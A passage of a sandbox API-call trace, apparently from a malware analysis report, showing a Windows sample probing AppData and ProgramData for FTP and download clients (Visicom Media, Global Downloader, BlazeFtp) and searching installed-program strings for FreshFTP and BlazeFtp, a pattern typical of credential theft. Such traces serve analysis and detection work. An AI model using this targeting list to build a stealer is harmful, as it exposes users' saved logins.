lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.564] lstrlenA (lpString="\\Visicom Media") returned 14 [0079.564] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647ab8 [0079.564] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.564] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Visicom Media" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media" [0079.564] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media") returned 44 [0079.564] lstrlenA (lpString="\\*.*") returned 4 [0079.564] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0079.564] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media" [0079.564] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media\\*.*" [0079.565] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Visicom Media\\*.*", lpFindFileData=0x12fd7e | out: lpFindFileData=0x12fd7e) returned 0xffffffff [0079.565] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.565] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.565] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.565] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.565] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.565] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.565] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.565] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.565] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.565] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.565] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x3d, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.565] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.565] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.565] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.565] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.565] lstrlenA (lpString="\\Global Downloader") returned 18 [0079.565] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0079.565] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.565] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Global Downloader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader" [0079.566] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader") returned 50 [0079.566] lstrlenA (lpString="\\*.*") returned 4 [0079.566] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x643b68 [0079.566] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader" [0079.566] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader\\*.*" [0079.566] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Global Downloader\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0079.566] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.566] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.566] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.566] lstrlenA (lpString="\\Global Downloader") returned 18 [0079.566] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.566] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.566] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Global Downloader" | out: lpString1="C:\\ProgramData\\Global Downloader") returned="C:\\ProgramData\\Global Downloader" [0079.566] lstrlenA (lpString="C:\\ProgramData\\Global Downloader") returned 32 [0079.566] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0079.566] lstrcpyA (in: lpString1=0x6293a8, lpString2="C:\\ProgramData\\Global Downloader" | out: lpString1="C:\\ProgramData\\Global Downloader") returned="C:\\ProgramData\\Global Downloader" [0079.566] lstrcatA (in: lpString1="C:\\ProgramData\\Global Downloader", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Global Downloader\\*.*") returned="C:\\ProgramData\\Global Downloader\\*.*" [0079.566] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Global Downloader\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0079.566] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.566] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.566] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0079.566] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.566] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Global Downloader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader" [0079.566] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643b68 [0079.566] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader" [0079.566] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader\\*.*" [0079.566] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Global Downloader\\*.*", lpFindFileData=0x12fd66 | out: lpFindFileData=0x12fd66) returned 0xffffffff [0079.567] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.567] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.567] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.567] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.567] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.567] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.567] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.567] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.567] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0079.567] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0079.567] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x3e, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.567] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0079.567] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="FreshFTP") returned 0x0 [0079.567] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.568] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00A1-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00B4-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-00B4-0409-0000-0000000FF1CE}\" \"{18A0C151-8F8A-4B68-A960-60C464B94329}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-00BA-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0115-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0115-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0117-0409-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.569] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0011-0000-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{91140000-003B-0000-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-003B-0000-0000-0000000FF1CE}\" \"{8A8F117F-8EDB-440D-B679-F08909D729F7}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{91140000-0057-0000-0000-0000000FF1CE}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{91140000-0057-0000-0000-0000000FF1CE}\" \"{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}\" \"1033\" \"0\"", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="FreshFTP") returned 0x0 [0079.570] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="FreshFTP") returned 0x0 [0079.570] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.570] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.570] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.570] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.571] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.571] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.571] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.571] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.571] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fe8c | out: pcbWritten=0x12fe8c*=0x8) returned 0x0 [0079.571] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12feb4*=0x0, cb=0x4, pcbWritten=0x12fe90 | out: pcbWritten=0x12fe90*=0x4) returned 0x0 [0079.571] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x3f, cb=0x2, pcbWritten=0x12fe8c | out: pcbWritten=0x12fe8c*=0x2) returned 0x0 [0079.571] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x2, pcbWritten=0x12fe8c | out: pcbWritten=0x12fe8c*=0x2) returned 0x0 [0079.571] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="BlazeFtp") returned 0x0 [0079.571] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="BlazeFtp") returned 0x0 [0079.571] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="BlazeFtp") returned 0x0 [0079.571] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="BlazeFtp") returned 0x0 [0079.571] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="BlazeFtp") returned 0x0 [0079.573] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.573] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.573] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.573] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.573] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\BlazeFtp" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp" [0079.573] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0079.573] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp" [0079.573] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp\\*.*" [0079.573] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\BlazeFtp\\*.*", lpFindFileData=0x12fd26 | out: lpFindFileData=0x12fd26) returned 0xffffffff [0079.573] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.573] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.573] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.573] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.573] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\BlazeFtp" | out: lpString1="C:\\ProgramData\\BlazeFtp") returned="C:\\ProgramData\\BlazeFtp" [0079.573] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.573] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\BlazeFtp" | out: lpString1="C:\\ProgramData\\BlazeFtp") returned="C:\\ProgramData\\BlazeFtp" [0079.573] lstrcatA (in: lpString1="C:\\ProgramData\\BlazeFtp", lpString2="\\*.*" | out: 